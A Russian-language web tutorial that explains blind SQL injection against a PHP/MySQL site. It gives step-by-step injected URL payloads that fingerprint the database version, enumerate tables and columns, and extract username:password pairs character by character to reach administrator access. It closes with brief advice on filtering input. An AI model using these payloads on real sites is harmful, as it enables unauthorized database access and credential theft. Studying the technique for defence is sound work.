Версия для печати
Воскресенье, 19 июля 2015 13:54

SQL Injection - взлом в слепую

Автор
Оцените материал
(1 Голосовать)

ВВЕДЕНИЕ

В настоящее время, большинство WEB-разработчиков используют готовые движки для реализации своих проектов, основываясь на их известности, не берётся в расчёт огромное число аспектов, один из которых самый важный - это «безопасность».

Ежемесячно на баг-треках появляется как минимум две серьёзные уязвимости на каждый продукт с открытым исходным кодом, первыми в списке уязвимых программных продуктов стоят всегда движки для сайтов. А самой часто всплывающей уязвимостью является SQLINJECTION.

Большинство разработчиков, которые пишут WEB-движки, в связи с огромным количеством информации, запутываются и делают серьёзные ошибки в плане безопасности. При устранении уязвимости типа «SQL INJECTION»,не ставятся фильтры на переменные, а всего лишь отключается оповещение об ошибках на страницу, тем самым проблема остаётся, но она не бросается в глаза.

Таким способом возможно защититься только от новичков в плане информационной безопасности, но при обнаружении такой ошибки профессиональным хакером, уязвимость с лёгкостью будет реализована злоумышленником, и он сможет воспользоваться ей в полном объеме.

СЛЕПАЯ ИНЪЕКЦИЯ

Отличие простой SQL INJECTION от слепой в том, что при ошибке не выводятся сообщение, а значит не возможно вывести все полученные по запросу данные на страницу, так как она остаётся пустой. В этом и заключается вся сложность проведения данной атаки для злоумышленника. Но технологии не стоят на месте и у хакеров уже есть множество программ по перебору запросов и с их помощью с лёгкостью проводятся SQL INJECTIONв слепую.

Для того, чтобы разобраться в принципе работы данных программ, следует узнать каким образом программы отправляют запросы серверу. Перед тем как начать разбираться в запросах, необходимо выяснить по какому принципу они действуют.

Если в обычной SQL INJECTIONвсе складывается на основе полученных сообщений от сервера, то в слепой - такой метод не актуален, так как сервер не выводит системных сообщений на странице, в данном методе используется система логического ответа сервера. Сервер имеет два варианта ответа:

true — стандартный вывод информации на странице,

false — вывод пустой страницы.

Представим что у сайта http://sitename.com/news.php?id=3 есть не фильтруемая переменная id в скрипте news.php. Но при таком запросе http://sitename.com/news.php?id=3' не выводится сообщение об ошибке на страницу, а всего лишь появляется пустая страница — это и есть слепая SQL INJECTION. Что делать в этом случае? В такой ситуации хакер пойдёт путём логического ответа сервера и сделает следующий запрос:

http://sitename.com/news.php?id=33+and+substring(version(),1,1)>5-- данный запрос задаёт серверу вопрос «какая версия MySQL» установлена. А точнее вопрос задан логически «Если версия больше 0, тогда выводить стандартную страницу, иначе вывести пустую страницу», в таком случае проверяется как сервер реагирует на запросы, есть ли какой не будь фильтр и пропускает ли он такого рода запросы. Если запросы проходят и не фильтруются, тогда сервер выведет ответ true, так как версия программного обеспечения не может быть меньше либо равно 0.

После проверки необходимо выяснить, какая же все таки версия MySQL установлена на сервере? Стандартная версия на данный момент является 5 поэтому целесообразно сделать следующий запрос:

http://sitename.com/news.php?id=33+and+substring(version(),1,1)=5--
Если запрос равен true, тогда можно сделать следующий запрос:

http://sitename.com/news.php?id=3+and+ascii(substring((select+table_name+from+information_schema.
tables+limit+1,1),1,1 ))>0--
В данном запросе проверяем как сервер реагирует на запрос выборки первого символа первой таблицы в базе данных с использованием системной таблицы information_schema , сервер возвращает номер ASCII

Для этого производится следующий запрос:

http://sitename.com/news.php?id=3+and+substring((select+table_name+from+information_schema.
tables+limit+1,1),1,1)='c'--
Данный запрос возвращает первый символ первой таблицы и если он совпадает с тем символом, который вы подставили, то сработает событие true, иначе false. Для подбора второго символа необходимо заменить цифру после последней запятой на 2.

http://sitename.com/news.php?id=3+and+substring((select+table_name+from+information_schema.
tables+limit+1,1),1,2)='co'--
Таким образом необходимо перебирать все таблицы в поисках главной, где хранятся пользовательские данные таблицы users

Далее необходимо перебирать таким же образом поля таблицы:

http://sitename.com/news.php?id=3+and+substring((select+column_name+from+information_schema.
columns+where+table_name=0x6262325f7573657273+limit+1,1),1,1)='i'
Перебор производится аналогичным образом как и с подбором таблиц. Полученные результаты:

users{
username
password
}
Используем в следующем запросе для перебора конфиденциальных данных:

http://sitename.com/news.php?id=3+and+(substring((select+concat(username,0x3a,password)+
from+bb2_users+limit+1,1),1,1))='a'--
После полученных данных можно пройти аутентификацию и зайти на сайт с правами администратора.

ЗАКЛЮЧЕНИЕ

Таким образом можно сказать, что при не внимательности разработчиков и не заострённости в проблеме информационной безопасности, появляются такие критические ошибки которые могут привести к печальным результатам.

А решение очень простое, необходимо установить фильтры на все переменные и постоянно следить за новыми уязвимостями в мире информационной безопасности и немедленно их устраненять.

Прочитано 5155 раз